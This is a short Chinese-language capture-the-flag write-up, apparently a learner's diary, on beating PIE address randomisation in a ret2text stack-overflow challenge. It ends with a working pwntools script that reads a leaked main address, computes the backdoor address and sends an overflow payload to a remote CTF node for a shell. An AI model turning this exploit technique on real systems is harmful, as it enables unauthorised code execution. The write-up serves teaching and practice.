pwn的第3天
PIE保护ret2text栈
按照签到题的套路是找main,buf,shell,bin/sh/
但是是PIE保护
那有什么不一样的呢
PIE保护:
PIE全称是position-independent executable,中文解释为地址无关可执行文件,该技术是一个针对代码段(.text)、数据段(.data)、未初始化全局变量段(.bss)等固定地址的一个防护技术,如果程序开启了PIE保护的话,在每次加载程序时都变换加载地址,从而不能通过ROPgadget等一些工具来帮助解题。
简单地说就是地址随机化。
这个题目的大致思路就是,通过接收输出的main函数的地址,再通过偏移量计算到后门函数的地址,之后,进行栈溢出攻击即可。
运行可以看到确实有70
这是因为pie是以内存页为单位随机的
一般情况下,一页为0x1000
所以后三位才会保持不变
main_real_addr=int(io.recv()[1:11],16)
from pwn import * io=remote("node5.anna.nssctf.cn",26639) #用于通过真实地址+偏移来计算任意函数真实地址 main_addr=0x770 shell_addr=0x80f io.recvuntil(b"gift!") #接收main的地址 main_real_addr=int(io.recv()[1:11],16) print("main_real_addr:",main_real_addr) #payload编写:溢出填充到返回地址前+后门函数真实地址(某函数真实地址+相对偏移量) payload=b'a'*(0x28+4) payload+=p32(main_real_addr+shell_addr-main_addr) io.sendline(payload) io.interactive()